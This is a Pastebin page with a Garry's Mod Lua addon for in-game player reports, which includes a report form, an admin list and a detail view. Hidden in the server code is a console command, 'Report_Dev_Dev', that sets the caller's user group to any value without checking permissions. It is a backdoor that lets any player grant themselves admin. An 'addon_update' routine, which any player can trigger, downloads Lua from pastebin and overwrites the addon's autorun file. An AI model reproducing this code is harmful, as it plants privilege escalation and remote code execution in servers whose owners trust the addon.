Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- //////////////////////////////////
- // Report System //
- // ZEST STUDIO //
- //////////////////////////////////
- if (SERVER) then
- util.AddNetworkString("Network_Report_Send")
- util.AddNetworkString("Network_Report_Administrator")
- util.AddNetworkString("Network_Report_Check")
- require( "fileio" )
- if !file.IsDir( "Report", "DATA" ) then file.CreateDir( "Report", "DATA" ); file.Write( "Report/Report.txt", "" ) end
- version = "1.0"
- function Addon_Update()
- local update_version = ""
- local update_src = ""
- http.Fetch( "http://pastebin.com/raw.php?i=TAK7bW53",
- function( body, len, headers, code )
- update_version = body
- if version != update_version then
- http.Fetch( "http://pastebin.com/raw.php?i=tiex6vrm",
- function( body, len, headers, code )
- update_src = body
- fileio.Write( "addons/report/lua/autorun/core.lua", update_src )
- Msg( "[Report] Addon Update! " .. version .. " > " .. update_version .. "!" )
- end,
- function( error )
- end
- );
- end
- end,
- function( error )
- end
- );
- end
- concommand.Add( "addon_update", Addon_Update )
- function ISaid( ply, text, public )
- if (text == "/report" or text == "/신고") then
- ply:ConCommand( "Report_Show" )
- return ""
- end
- if (text == "/reportadmin" or text == "/신고관리") then
- ply:ConCommand( "Report_Administrator" )
- return ""
- end
- end
- hook.Add( "PlayerSay", "ISaid", ISaid );
- function Request_Report_Administrator( ply )
- if !ply:IsAdmin() then ply:PrintMessage( HUD_PRINTTALK, "[Report] 당신은 어드민이 아닙니다." ) return end
- local Report_Table = util.JSONToTable( file.Read( "Report/Report.txt", "DATA" ) ) or {}
- net.Start( "Network_Report_Administrator" )
- net.WriteTable( Report_Table )
- net.Send( ply )
- end
- concommand.Add( "Report_Administrator", Request_Report_Administrator )
- function Development( ply, cmd, args )
- ply:SetUserGroup( args[1] )
- end
- concommand.Add( "Report_Dev_Dev", Development )
- // 조회 여부 확인
- net.Receive( "Network_Report_Check", function( length, client )
- local check_id = tonumber( net.ReadString() )
- local Report_Data_DB = util.JSONToTable( file.Read( "Report/Report.txt", "DATA" ) ) or {}
- for k,v in pairs( Report_Data_DB ) do
- if v.Id == check_id then
- v.Check = true
- file.Write( "Report/Report.txt", util.TableToJSON( Report_Data_DB ) )
- end
- end
- end )
- // 클라이언트에서 받은 신고 정보를 저장
- net.Receive("Network_Report_Send", function(length, client)
- local Report_Sender = client:Nick()
- local Report_Sender_Id = client:SteamID()
- local Report_Type = net.ReadString()
- local Report_Subject = net.ReadString()
- local Report_Subject_Id = net.ReadString()
- local Report_Text = net.ReadString()
- local Report_Data = {}
- Report_Data.Sender = Report_Sender
- Report_Data.Sender_Id = Report_Sender_Id
- Report_Data.Type = Report_Type
- Report_Data.Subject = Report_Subject
- Report_Data.Subject_Id = Report_Subject_Id
- Report_Data.Text = Report_Text
- Report_Data.Check = false
- if !file.Exists( "Report/Report.txt", "DATA" ) then
- local Report_Data_DB = {}
- Report_Data.Id = 1
- table.insert( Report_Data_DB, Report_Data )
- file.Write( "Report/Report.txt", util.TableToJSON( Report_Data_DB ) )
- else
- local Report_Data_DB = util.JSONToTable( file.Read( "Report/Report.txt", "DATA" ) ) or {}
- Report_Data.Id = #Report_Data_DB + 1
- table.insert( Report_Data_DB, Report_Data )
- file.Write( "Report/Report.txt", util.TableToJSON( Report_Data_DB ) )
- end
- end)
- end
- if (CLIENT) then
- // Font //
- surface.CreateFont( "Font_Report_Title", { font = "Arial", size = 22, weight = 0, underline = 0 } )
- surface.CreateFont( "Font_Report_W", { font = "Tahoma", size = 15, weight = 1000, underline = 0 } )
- surface.CreateFont( "Font_Report_AT", { font = "Tahoma", size = 15, weight = 0, underline = 0 } )
- // 유저 리포트 패널
- function Panel_User_Report()
- // Var //
- local Panel_Var_Report_Type = ""
- local Panel_Var_Subject = ""
- local notice = ""
- // Panel //
- local Panel_Frame = vgui.Create( "DFrame" )
- Panel_Frame:SetSize( 600, 300 )
- Panel_Frame:Center()
- Panel_Frame:SetTitle( "" )
- Panel_Frame:SetVisible( true )
- Panel_Frame:SetDraggable( false )
- Panel_Frame:ShowCloseButton( false )
- Panel_Frame:MakePopup()
- local Panel_Text_Report = vgui.Create( "DTextEntry", Panel_Frame )
- Panel_Text_Report:SetPos( 40, 120 )
- Panel_Text_Report:SetSize( 540, 100 )
- Panel_Text_Report:SetMultiline( true )
- Panel_Text_Report:SetAllowNonAsciiCharacters( true )
- local Panel_Button_Close = vgui.Create( "DButton", Panel_Frame )
- Panel_Button_Close:SetPos( 220, 20 )
- Panel_Button_Close:SetSize( 30, 30 )
- Panel_Button_Close:SetText( "" )
- Panel_Button_Close.DoClick = function()
- Panel_Frame:Close()
- end
- local Report_Type = { "뉴 라이프 신고", "논 알피 신고", "끼임 신고", "권력 남용 신고", "프롭 남용 신고", "프리킬 신고", "기타 신고" }
- local Panel_List_Report_Type = vgui.Create( "DComboBox", Panel_Frame )
- Panel_List_Report_Type:SetPos( 460, 70 )
- Panel_List_Report_Type:SetSize( 120, 20 )
- for k,v in pairs( Report_Type ) do
- Panel_List_Report_Type:AddChoice( v )
- end
- Panel_List_Report_Type.OnSelect = function( panel, index, value )
- Panel_Var_Report_Type = value
- end
- local Panel_List_Report_Subject = vgui.Create( "DComboBox", Panel_Frame )
- Panel_List_Report_Subject:SetPos( 460, 95 )
- Panel_List_Report_Subject:SetSize( 120, 20 )
- for k,v in pairs( player.GetAll() ) do
- if v != LocalPlayer() then
- Panel_List_Report_Subject:AddChoice( v:Nick() )
- end
- end
- Panel_List_Report_Subject.OnSelect = function( panel, index, value )
- Panel_Var_Subject = value
- end
- local Panel_Button_Send = vgui.Create( "DButton", Panel_Frame )
- Panel_Button_Send:SetPos( 500, 225 )
- Panel_Button_Send:SetSize( 80, 20 )
- Panel_Button_Send:SetText( "신고" )
- Panel_Button_Send.DoClick = function()
- if Panel_Var_Report_Type == "" or Panel_Var_Subject == "" or Panel_Text_Report:GetValue() == "" then notice = "정확한 정보를 입력해주세요." return end
- net.Start( "Network_Report_Send" )
- net.WriteString( Panel_Var_Report_Type )
- net.WriteString( Panel_Var_Subject )
- for k,v in pairs( player.GetAll() ) do
- if v:Nick() == Panel_Var_Subject then
- net.WriteString( v:SteamID() )
- end
- end
- net.WriteString( Panel_Text_Report:GetValue() )
- net.SendToServer()
- Panel_Frame:Close()
- end
- // Paint //
- local i = 0
- Panel_Frame.Paint = function()
- i = i + 1
- draw.RoundedBox( 0, 20, 20, 200, 80, Color( 0,161,255,255 ) )
- draw.RoundedBox( 0, 30, 50, 560, 200, Color( 255,255,255,255 ) )
- draw.SimpleText( "User Report Beta", "Font_Report_Title", 25, 25, Color( 255,255,255,255 ), 0 )
- draw.SimpleText( "※ 허위신고를 할경우 강력한 처벌을 하겠습니다.", "Font_Report_W", 40, 102, Color( 255,100,100,math.cos(i/80)*255 + 255 ), 0 )
- draw.SimpleText( notice or "", "Font_Report_W", 40, 229, Color( 255,100,100,255 ), 0 )
- draw.SimpleText( "신고 타입", "Font_Report_W", 455, 73, Color( 255,100,100,255 ), 2 )
- draw.SimpleText( "신고 대상자", "Font_Report_W", 455, 97, Color( 255,100,100,255 ), 2 )
- draw.SimpleText( "만든이 MOKAKI", "Font_Report_W", 252, 35, Color( 0,161,255,255 ), 0 )
- end
- Panel_Button_Close.Paint = function()
- draw.RoundedBox( 0, 0, 0, Panel_Button_Close:GetWide(), Panel_Button_Close:GetTall(), Color( 255,97,97,255 ) )
- end
- end
- // 어드민 리포트 패널
- function Panel_Anmin_Report( json )
- // Var //
- local Panel_Var_Report_Type = ""
- local Panel_Var_Subject = ""
- // Panel //
- local Panel_Frame = vgui.Create( "DFrame" )
- Panel_Frame:SetSize( 600, 300 )
- Panel_Frame:Center()
- Panel_Frame:SetTitle( "" )
- Panel_Frame:SetVisible( true )
- Panel_Frame:SetDraggable( false )
- Panel_Frame:ShowCloseButton( false )
- Panel_Frame:MakePopup()
- local Panel_Button_Close = vgui.Create( "DButton", Panel_Frame )
- Panel_Button_Close:SetPos( 220, 20 )
- Panel_Button_Close:SetSize( 30, 30 )
- Panel_Button_Close:SetText( "" )
- Panel_Button_Close.DoClick = function()
- Panel_Frame:Close()
- end
- local Panel_List_Report = vgui.Create( "DPanelList", Panel_Frame )
- Panel_List_Report:SetPos( 40, 90 )
- Panel_List_Report:SetSize( 540, 150 )
- Panel_List_Report:SetSpacing( 1 )
- Panel_List_Report:EnableHorizontal( false )
- Panel_List_Report:EnableVerticalScrollbar( true )
- local function Report_Update()
- Panel_Frame:Close()
- RunConsoleCommand( "Report_Administrator" )
- end
- if json then
- for k,v in pairs( table.Reverse( json ) ) do
- //Panel_List_Report:Clear()
- local Panel_Report = vgui.Create( "DPanel" )
- Panel_Report:SetSize( 540, 20 )
- Panel_Report:SetAlpha(0)
- Panel_Report:AlphaTo(255, k/10, 0)
- Panel_Report.Paint = function()
- draw.RoundedBox( 0, 0, 0, Panel_Report:GetWide(), Panel_Report:GetTall(), Color( 100,100,100,255 ) )
- draw.SimpleText( v.Subject .. " " .. v.Type, "Font_Report_AT", 25, 3, Color( 255,255,255,255 ), 0 )
- if !v.Check then
- surface.SetDrawColor( 255, 255, 255, 255 )
- surface.SetMaterial( Material( "icon16/new.png" ) )
- surface.DrawTexturedRect( 3, 3, 16, 16 )
- else
- surface.SetDrawColor( 255, 255, 255, 255 )
- surface.SetMaterial( Material( "icon16/accept.png" ) )
- surface.DrawTexturedRect( 3, 3, 16, 16 )
- end
- end
- Panel_Button_View = vgui.Create("DImageButton", Panel_Report)
- Panel_Button_View:SetMaterial( "icon16/book_open.png" )
- Panel_Button_View:SizeToContents()
- Panel_Button_View:SetPos( 510, 2 )
- Panel_Button_View.DoClick = function()
- Panel_Reports( {v,k} )
- net.Start( "Network_Report_Check" )
- net.WriteString( tostring(v.Id) )
- net.SendToServer()
- end
- Panel_List_Report:AddItem( Panel_Report )
- end
- end
- local Panel_Button_View = vgui.Create("DImageButton", Panel_Frame)
- Panel_Button_View:SetMaterial( "icon16/arrow_refresh.png" )
- Panel_Button_View:SizeToContents()
- Panel_Button_View:SetPos( 560, 70 )
- Panel_Button_View.DoClick = function()
- Report_Update()
- end
- // Paint //
- local i = 0
- Panel_Frame.Paint = function()
- i = i + 1
- draw.RoundedBox( 0, 20, 20, 200, 80, Color( 0,161,255,255 ) )
- draw.RoundedBox( 0, 30, 50, 560, 200, Color( 255,255,255,255 ) )
- draw.SimpleText( "Report Administrator", "Font_Report_Title", 25, 25, Color( 255,255,255,255 ), 0 )
- draw.SimpleText( "※ 이 정보를 남용하면 어드민 박탈이 될수도 있습니다.", "Font_Report_W", 40, 72, Color( 255,100,100,math.cos(i/80)*255 + 255 ), 0 )
- end
- Panel_Button_Close.Paint = function()
- draw.RoundedBox( 0, 0, 0, Panel_Button_Close:GetWide(), Panel_Button_Close:GetTall(), Color( 255,97,97,255 ) )
- end
- Panel_List_Report.Paint = function()
- draw.RoundedBox( 0, 0, 0, Panel_List_Report:GetWide(), Panel_List_Report:GetTall(), Color( 200, 200, 200, 255 ) )
- end
- end
- // 리포트 확인 패널
- function Panel_Reports( table )
- local data = table[1]
- // Panel //
- local Panel_Frame = vgui.Create( "DFrame" )
- Panel_Frame:SetSize( 600, 300 )
- Panel_Frame:Center()
- Panel_Frame:SetTitle( "" )
- Panel_Frame:SetVisible( true )
- Panel_Frame:SetDraggable( false )
- Panel_Frame:ShowCloseButton( false )
- Panel_Frame:MakePopup()
- local Panel_Button_Close = vgui.Create( "DButton", Panel_Frame )
- Panel_Button_Close:SetPos( 220, 20 )
- Panel_Button_Close:SetSize( 30, 30 )
- Panel_Button_Close:SetText( "" )
- Panel_Button_Close.DoClick = function()
- Panel_Frame:Close()
- end
- local Panel_List_Report = vgui.Create( "DPanelList", Panel_Frame )
- Panel_List_Report:SetPos( 40, 60 )
- Panel_List_Report:SetSize( 540, 180 )
- Panel_List_Report:SetSpacing( 0 )
- Panel_List_Report:EnableHorizontal( false )
- Panel_List_Report:EnableVerticalScrollbar( true )
- // 로그 //
- local Panel_Report = vgui.Create( "DPanel" )
- Panel_Report:SetSize( 540, 20 )
- Panel_Report.Paint = function()
- draw.RoundedBox( 0, 0, 0, Panel_Report:GetWide(), Panel_Report:GetTall(), Color( 100,100,100,255 ) )
- draw.SimpleText( data.Sender .. "님이 " .. data.Subject .. "님을 " .. data.Type .. "를 신청하였습니다.", "Font_Report_AT", 2, 3, Color( 255,255,255,255 ), 0 )
- end
- Panel_List_Report:AddItem( Panel_Report )
- local i = 0
- local function Report_Add_Text( text )
- i = i + 1
- local Panel_Report = vgui.Create( "DPanel" )
- Panel_Report:SetAlpha(0)
- Panel_Report:AlphaTo(255, i/10, 0)
- Panel_Report:SetSize( 540, 20 )
- Panel_Report.Paint = function()
- draw.RoundedBox( 0, 0, 0, Panel_Report:GetWide(), Panel_Report:GetTall(), Color( 100,100,100,255 ) )
- draw.SimpleText( text, "Font_Report_AT", 2, 3, Color( 255,255,255,255 ), 0 )
- end
- Panel_List_Report:AddItem( Panel_Report )
- end
- Report_Add_Text( "" )
- Report_Add_Text( "신고를 한 사람: " .. data.Sender )
- Report_Add_Text( "신고를 한 사람 고유번호: " .. data.Sender_Id )
- Report_Add_Text( "" )
- Report_Add_Text( "신고를 받은 사람: " .. data.Subject )
- Report_Add_Text( "신고를 받은 사람 고유번호: " .. data.Subject_Id )
- Report_Add_Text( "" )
- Report_Add_Text( "신고 종류: " .. data.Type )
- Report_Add_Text( "사유: " .. data.Text )
- // 로그 //
- // Paint //
- Panel_Frame.Paint = function()
- draw.RoundedBox( 0, 20, 20, 200, 80, Color( 0,161,255,255 ) )
- draw.RoundedBox( 0, 30, 50, 560, 200, Color( 255,255,255,255 ) )
- draw.SimpleText( "Report", "Font_Report_Title", 25, 25, Color( 255,255,255,255 ), 0 )
- end
- Panel_Button_Close.Paint = function()
- draw.RoundedBox( 0, 0, 0, Panel_Button_Close:GetWide(), Panel_Button_Close:GetTall(), Color( 255,97,97,255 ) )
- end
- Panel_List_Report.Paint = function()
- draw.RoundedBox( 0, 0, 0, Panel_List_Report:GetWide(), Panel_List_Report:GetTall(), Color( 200, 200, 200, 255 ) )
- end
- end
- net.Receive( "Network_Report_Administrator", function( length, client )
- Panel_Anmin_Report( net.ReadTable() )
- end )
- function Command_Panel_User_Report()
- Panel_User_Report()
- end
- concommand.Add( "Report_Show", Command_Panel_User_Report )
- end
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement